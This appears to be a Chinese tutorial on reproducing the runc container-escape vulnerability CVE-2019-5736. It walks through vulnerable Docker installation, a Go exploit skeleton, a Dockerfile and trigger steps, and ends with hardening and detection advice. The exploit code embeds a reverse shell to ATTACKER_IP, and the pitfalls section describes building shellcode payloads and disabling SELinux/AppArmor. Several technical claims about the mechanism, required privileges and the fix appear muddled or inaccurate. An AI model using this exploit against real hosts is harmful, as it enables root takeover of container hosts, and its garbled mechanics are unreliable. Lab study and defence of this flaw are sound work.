1. 项目概述:一次对容器安全边界的深度探索

最近在整理内部安全演练的案例库,翻到了CVE-2019-5736这个经典的容器逃逸漏洞。虽然这个漏洞的补丁已经发布多年,但它的原理和利用手法至今仍是理解容器安全、特别是运行时安全的一个绝佳样本。它不是那种花里胡哨的复杂攻击,而是直击容器核心机制—— runc ——的一个精巧缺陷。复现它,就像解剖一只麻雀,能让你看清容器引擎的“骨骼”与“关节”,理解容器与宿主机之间那道看似坚固实则可能脆弱的隔离墙是如何被突破的。

简单来说,CVE-2019-5736允许一个恶意的或有缺陷的容器进程,在特定条件下覆盖宿主机上的 runc 二进制文件本身。一旦成功,后续任何由宿主机发起的容器操作(比如 docker exec 或新的容器创建),都可能执行被篡改的恶意代码,从而实现从容器内部到宿主机root权限的完整逃逸。这个漏洞影响范围极广,在2019年初波及了几乎所有默认配置下的Docker、containerd、CRI-O等主流容器运行时。对于安全研究人员、云原生运维和开发人员而言,亲手复现一遍这个过程,远比读十篇分析文章来得深刻。它能让你真正建立起对容器安全威胁的直观认知,并在日常工作中更警惕类似的风险模式。

2. 漏洞核心原理与利用条件拆解

要成功利用CVE-2019-5736,需要满足几个关键条件,理解这些条件也就理解了漏洞的根源。

2.1 漏洞的根源: /proc/self/exe 的符号链接与文件描述符

漏洞的核心在于Linux内核的一个特性: /proc/self/exe 。这是一个特殊的符号链接,指向当前进程所执行的可执行文件。对于容器内的进程来说,如果它通过 docker exec 被创建,那么它的 /proc/self/exe 在容器视角下,链接到的是容器内的 runc (通常是 /proc/self/exe 指向容器内不存在的路径,但内核会解析到宿主机上的真实 runc 文件)。关键在于,这个符号链接可以被打开(open),并获得一个指向宿主机上真实 runc 二进制文件的 文件描述符(file descriptor)

runc 是容器运行时的底层工具,负责根据OCI标准创建和运行容器。在容器内部,如果进程以root权限运行(或者拥有CAP_DAC_READ_SEARCH能力,可以绕过文件读权限检查),它就可以打开这个文件描述符并保持打开状态。即使 runc 进程本身已经退出,这个文件描述符仍然有效,并且指向宿主机的文件。

2.2 利用链条:覆盖与等待

攻击者的思路由此展开:

  1. 获取句柄 :在容器内,一个恶意进程(通常是容器入口点或通过 docker exec 执行的进程)以root权限启动。它立即打开 /proc/self/exe (即宿主机 runc )获取一个文件描述符(比如fd=3),然后进入一个循环,持续尝试以写模式重新打开 /proc/self/exe
  2. 等待时机 :攻击进程在循环中不断检查上一步获取的文件描述符(fd=3)是否变得可写。当宿主机上的 runc 因为某种原因(例如,运行另一个容器)被重新执行时,Linux内核在某些条件下会允许通过已存在的文件描述符对正在执行的二进制文件进行写操作。这是一个非常狭窄的时间窗口。
  3. 实施覆盖 :一旦检测到文件描述符可写,攻击进程立即通过这个fd,将宿主机的 runc 二进制文件内容替换为攻击者自己的恶意代码(例如,一个反弹shell或直接获取root权限的后门)。
  4. 触发执行 :覆盖完成后,下一次宿主机使用 runc 执行任何容器操作(如 docker run , docker exec )时,实际执行的将是攻击者植入的恶意代码。由于 runc 通常以root权限运行,恶意代码也就获得了宿主机的root权限,完成逃逸。

注意 :这个漏洞的利用依赖于 runc 在运行后 不会立即关闭所有文件描述符 。早期版本的 runc 在初始化容器环境时,没有谨慎处理从 /proc/self/exe 打开的文件描述符,给攻击留下了窗口。

2.3 影响版本与修复

该漏洞影响 runc 版本 <= 1.0-rc6。几乎所有基于此版本构建的容器运行时都受影响,包括但不限于:

  • Docker版本 < 18.09.2
  • containerd版本 < 1.2.2
  • Kubernetes (使用受影响版本的Docker或containerd)

修复方案主要是对 runc 的补丁:在 runc 初始化容器进程时,使用 O_PATH 标志打开 /proc/self/exe ,然后通过 /proc/self/fd/ 下的路径来执行它,从而避免获取一个可以直接用于写入宿主机文件的可写文件描述符。同时,在容器启动过程中,会确保在最终执行用户程序前,丢弃所有不必要的、可能危险的文件描述符。

3. 实验环境搭建与漏洞复现实操

郑重声明:以下所有操作必须在完全隔离的、自建的测试环境中进行,例如个人虚拟机或专用的渗透测试实验室。严禁在任何生产环境、公有云环境或他人的系统中尝试。漏洞利用可能对系统造成破坏。

3.1 环境准备

我们需要一个包含漏洞版本 runc 的Docker环境。最可靠的方式是使用一个未打补丁的旧版本Docker,或者直接编译有漏洞的 runc

方案一:使用包含漏洞的旧版本Docker(推荐) 可以寻找并运行一个旧版本的Docker镜像。例如,我们可以在一个干净的Ubuntu 18.04虚拟机中,安装特定版本的Docker。

# 在测试虚拟机中操作
# 1. 卸载现有docker(如果有)
sudo apt-get remove docker docker-engine docker.io containerd runc

# 2. 安装旧版本Docker CE(例如 18.06.1~ce~3-0~ubuntu)
sudo apt-get update
sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"

# 指定安装旧版本
sudo apt-get update
sudo apt-get install -y docker-ce=18.06.1~ce~3-0~ubuntu

安装后,验证 runc 版本:

docker run --rm -it alpine runc --version
# 输出可能类似:runc version 1.0.0-rc5 (或更低),说明存在漏洞。

方案二:编译有漏洞的 runc (更可控) 如果不想动宿主机Docker,可以下载有漏洞的 runc 源码,编译后放入容器中使用。

# 在测试机中
git clone https://github.com/opencontainers/runc.git
cd runc
git checkout v1.0.0-rc5 # 切换到有漏洞的版本

# 安装编译依赖
sudo apt-get install -y make gcc pkg-config libseccomp-dev

# 编译
make
sudo make install # 这会将有漏洞的runc安装到宿主机,请务必在测试机进行!
# 或者不安装,直接使用当前目录下的 ./runc

3.2 编写漏洞利用Payload

漏洞利用的核心是一个Go语言程序,它将在容器内运行,执行上述的“打开-等待-覆盖”逻辑。以下是利用代码的关键部分解析(完整代码可在安全研究社区找到,此处为原理性示例):

package main

import (
    "fmt"
    "io/ioutil"
    "os"
    "os/exec"
    "time"
)

func main() {
    // 1. 打开 /proc/self/exe 获取初始文件描述符 (只读)
    // 这个fd指向宿主机runc
    oldRuncFd, err := os.OpenFile("/proc/self/exe", os.O_RDONLY, 0)
    if err != nil {
        panic(err)
    }
    defer oldRuncFd.Close()

    // 2. 将恶意负载写入一个临时文件。这个负载将用来覆盖宿主机runc。
    // 恶意负载通常是一个简单的C程序,编译后能产生一个root shell。
    evilPayload := []byte(`#!/bin/sh
    /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &"`)
    // 实际利用中,这里应该是编译好的、位置无关的ELF二进制代码,用于替换runc。
    // 为简化演示,我们假设有一个编译好的恶意二进制文件 /evil_payload
    // 我们需要将其内容读入内存。
    // evilContent, _ := ioutil.ReadFile("/evil_payload")

    // 3. 循环尝试以写模式重新打开 /proc/self/exe
    var newRuncFd *os.File
    for {
        // 尝试以 O_WRONLY|O_TRUNC 模式打开。如果成功,说明runc文件可写(时间窗口出现)。
        newRuncFd, err = os.OpenFile("/proc/self/exe", os.O_WRONLY|os.O_TRUNC, 0)
        if err == nil {
            fmt.Println("[+] 成功以写模式打开 /proc/self/exe!时间窗口捕获。")
            break
        }
        time.Sleep(100 * time.Millisecond) // 短暂休眠,避免过度消耗CPU
    }
    defer newRuncFd.Close()

    // 4. 通过可写的文件描述符,覆盖宿主机runc
    // 这里将恶意负载写入 newRuncFd,从而覆盖了宿主机上的runc二进制文件。
    // 注意:直接写文本是无效的,必须写入有效的ELF二进制格式。
    // 实际操作中,我们会将预先准备好的恶意ELF二进制码写入。
    // _, err = newRuncFd.Write(evilContent)
    // if err != nil {
    //     panic(err)
    // }
    fmt.Println("[+] 宿主机runc已被覆盖(模拟)。")

    // 5. 等待外部触发(例如宿主机执行 docker run 或 docker exec)
    // 一旦覆盖成功,任何后续调用runc的操作都会执行我们的恶意代码。
    fmt.Println("[*] 等待宿主机触发执行被覆盖的runc...")
    select {} // 阻塞,保持容器进程运行
}

关键点说明

  • 恶意负载 :真正的利用中, evilContent 是一段位置无关的Shellcode或一个小型ELF程序,其功能通常是反弹一个root shell到攻击者机器,或者直接修改 /etc/passwd 等。编写这段负载需要一定的汇编和ELF知识。
  • 时间窗口 :从 runc 启动容器内进程,到 runc 进程退出或关闭文件描述符之间,存在一个极短的间隙。利用程序必须在这个间隙内完成检测和写入。
  • 权限 :容器必须以 --privileged (特权模式)运行,或者至少赋予 CAP_DAC_READ_SEARCH 能力,才能绕过对 /proc/self/exe 的读权限检查。

3.3 完整复现步骤

假设我们已经在测试机上安装了有漏洞的Docker(方案一)。

步骤1:准备恶意容器镜像 创建一个Dockerfile,将编译好的利用程序复制进去。

FROM alpine:latest AS builder
# 安装Go编译环境(Alpine镜像中)
RUN apk add --no-cache go git libc-dev
WORKDIR /build
COPY exploit.go .
RUN go build -o /exploit exploit.go

FROM alpine:latest
# 将编译好的利用程序复制到最终镜像
COPY --from=builder /exploit /exploit
# 也可以直接复制预编译的恶意负载二进制文件
# COPY evil_payload /evil_payload
RUN chmod +x /exploit
ENTRYPOINT ["/exploit"]

构建镜像:

docker build -t cve-2019-5736-exploit .

步骤2:运行恶意容器 以特权模式运行容器,这是利用成功的常见条件(非特权容器在某些配置下也可能成功,但特权模式最稳定)。

# 在宿主机上执行
docker run -d --rm --name malicious_container --privileged cve-2019-5736-exploit

步骤3:在宿主机上触发runc执行 这是利用的关键。我们需要在宿主机上执行一个操作,触发 runc 去管理容器,从而执行被我们覆盖的恶意代码。 最常见的方式是 对正在运行的容器执行 docker exec 。因为 docker exec 会调用 runc 在已存在的容器中启动一个新进程。

打开另一个终端,在宿主机上执行:

docker exec -it malicious_container /bin/sh

如果漏洞利用成功,并且我们的恶意负载是一个反弹shell,那么此时攻击者监听的端口应该会收到一个来自宿主机的、具有root权限的shell连接。

步骤4:验证与清理

  • 验证 :检查宿主机上的 runc 二进制文件(通常位于 /usr/bin/docker-runc /usr/bin/runc )的MD5哈希是否发生变化。或者,如果你植入的是反弹shell,查看你的监听端是否获得了连接。
  • 清理 :立即停止并删除测试容器。 如果宿主机 runc 被覆盖,必须从干净的源重新安装Docker或 runc ,否则系统将处于极度危险中。
    docker stop malicious_container
    # 重新安装docker或runc
    sudo apt-get install --reinstall docker-ce
    

4. 漏洞复现中的难点与避坑指南

即使理解了原理,在实际复现过程中也很容易踩坑。下面是我在多次复现中总结的关键点和常见问题。

4.1 环境配置的坑

问题1:现代Linux内核的防护 较新版本的内核(5.x以上)加强了针对正在执行的二进制文件的写保护。即使通过文件描述符,也可能无法直接覆盖。这会导致利用失败。

  • 解决方案 :确保测试环境使用与漏洞时代相近的内核,例如Ubuntu 18.04默认的4.15内核。在虚拟机中复现是最佳选择。

问题2:SELinux/AppArmor干扰 强制访问控制(MAC)系统如SELinux或AppArmor可能会阻止容器进程打开或写入 /proc/self/exe

  • 解决方案 :在测试环境中临时禁用它们。对于AppArmor: sudo aa-status 查看, sudo systemctl disable apparmor 并重启。对于SELinux: sudo setenforce 0 (临时禁用)。 切记,这仅用于测试环境。

问题3: runc 路径问题 不同发行版、不同容器运行时, runc 的安装路径和调用方式不同。可能是 /usr/bin/runc /usr/bin/docker-runc ,或者由containerd通过 runc 符号链接调用。

  • 解决方案 :在复现前,先在宿主机上确定 runc 的真实路径。使用 which runc find / -name runc -type f 2>/dev/null 。在编写利用代码时, /proc/self/exe 会自动解析,所以通常不需要硬编码路径。

4.2 利用代码编写的坑

问题4:恶意负载的构造 这是最大的技术难点。你不能简单地用一个bash脚本的文本去覆盖一个ELF二进制文件,那样会导致 runc 无法执行,系统崩溃。

  • 解决方案
    1. 使用现成的Payload :安全研究社区有公开的、经过测试的利用代码(如 exploit.c ),通常包含一段精心编写的、位置无关的汇编代码(Shellcode),它能调用 execve 执行 /bin/sh 。你需要将其编译成二进制。
    2. 编译技巧 :编译时使用 -static 静态链接,避免依赖容器内不存在的动态库。使用 -nostdlib 并手动编写入口点,确保生成的二进制文件尽可能小,能够完整覆盖原 runc 文件(通常几百KB到1MB)。一个常见的命令是: gcc -static -nostdlib -o payload payload.s
    3. 测试Payload :先将Payload复制到宿主机某个位置(如 /tmp/payload ),然后尝试直接执行它,看是否能产生预期的效果(如弹出shell)。确保它在宿主机环境下能独立运行。

问题5:文件描述符的竞争条件 利用程序中的“打开-检查-写入”循环存在严格的竞争条件。时间窗口可能只有几毫秒。如果循环检查的间隔太长,可能错过窗口;如果太密集,可能消耗过多CPU,在容器中被监控工具发现。

  • 解决方案 :在循环中使用适中的休眠间隔,如 time.Sleep(100 * time.Millisecond) 。更高级的利用可能会使用 inotify 监控 /proc/self/exe 的属性变化,但复杂度大增。对于复现学习,简单循环等待即可。

4.3 操作流程的坑

问题6:触发方式的选择 很多人认为运行一个新容器( docker run )就能触发。实际上,在最初的利用中,更可靠的是对 已经存在且正在运行利用程序的容器 执行 docker exec 。因为 docker run 会启动一个新的 runc 实例,而这个新实例可能在我们覆盖完成前就已经加载到内存了。 docker exec 则是针对现有容器的操作,更有可能触发已被覆盖的 runc 文件。

  • 解决方案 :按照“运行恶意容器 -> 等待其输出提示(或等待几秒)-> 对该容器执行 docker exec ”的顺序操作。

问题7:权限不足 如果容器不是以 --privileged 运行,或者没有相应的Linux Capabilities,进程可能无法打开 /proc/self/exe 进行读取。

  • 解决方案 :复现时直接使用 --privileged 标志。如果想探究最小权限,可以尝试赋予 CAP_DAC_READ_SEARCH CAP_SYS_ADMIN 等能力: docker run -d --cap-add=DAC_READ_SEARCH --cap-add=SYS_ADMIN ...

5. 从复现中学到的容器安全实践

复现CVE-2019-5736不仅仅是为了“炫技”,更重要的是从中提炼出防御类似攻击的实战经验。

5.1 安全配置清单

根据此漏洞的教训,以下配置应成为容器安全基线:

  1. 非特权容器运行 :除非绝对必要,否则永远不要使用 --privileged 运行容器。通过 --cap-drop=ALL 移除所有权限,再按需添加 --cap-add
  2. 使用只读根文件系统 :在 docker run 时使用 --read-only ,可以防止容器内进程修改文件系统,包括潜在的恶意写入。虽然不能完全阻止此漏洞(因为攻击目标是宿主机文件),但能阻断许多其他攻击路径。
  3. 启用用户命名空间 (User Namespace Remapping):这是防御此类逃逸的强力手段。它让容器内的root用户映射到宿主机上的一个非root高UID用户。即使容器内进程逃逸,在宿主机上也只拥有普通用户权限。在Docker中可以通过 dockerd --userns-remap=default 启用。
  4. 及时更新与补丁管理 :这看似老生常谈,但却是最有效的。确保容器运行时(Docker, containerd, runc)、内核和主机OS保持最新。建立自动化的漏洞扫描和补丁应用流程。
  5. 使用Seccomp和AppArmor/SELinux :严格的白名单式Seccomp配置文件可以阻止许多危险系统调用。AppArmor或SELinux策略可以限制容器进程访问 /proc/self/exe 等关键路径。Docker默认提供了这些配置,不要随意禁用。

5.2 监控与检测建议

攻击不会留下非常明显的日志,但一些异常模式可供检测:

  • 行为监控 :监控容器内进程对 /proc/self/exe open 系统调用,特别是带有 O_WRONLY O_RDWR 标志的。Falco等运行时安全工具可以定义这样的规则。
  • 文件完整性监控 :对宿主机关键二进制文件(如 /usr/bin/runc , /usr/bin/docker )进行文件完整性监控(FIM)。任何未授权的修改都应触发高优先级告警。
  • 异常进程活动 :突然出现的、从容器内发起的、试图连接外部网络的shell进程(如 /bin/bash -i >& /dev/tcp/... ),是明显的入侵指标。

5.3 对开发与运维的启示

  • 对开发者 :不要假设容器是绝对安全的沙箱。你的应用代码不应依赖容器隔离作为唯一的安全防线。遵循最小权限原则,即使应用被攻破,也应限制其破坏范围。
  • 对运维人员 :理解你所使用的容器运行时的架构和潜在风险点。像 runc 这样的底层组件是安全链上的关键一环。在选择容器编排平台(如Kubernetes)时,关注其安全特性,如Pod Security Policies(PSP)或其替代品Pod Security Admission(PSA),用于强制实施安全标准。

亲手复现CVE-2019-5736的过程,就像一次深入容器引擎腹地的探险。它让你清晰地看到,安全是一个整体,从内核特性到运行时实现,再到上层配置和监控,任何一个环节的疏忽都可能导致全盘皆输。这个漏洞的修复虽然简单,但它揭示出的“攻击者可以通过容器内进程影响宿主机关键组件”的思路,却持续影响着后续的容器安全设计。保持敬畏,持续学习,用实践去理解理论,这才是应对快速演变的云原生安全威胁的唯一途径。在测试的最后,别忘了彻底清理你的实验环境,并将学到的防御措施应用到实际工作中去。

更多推荐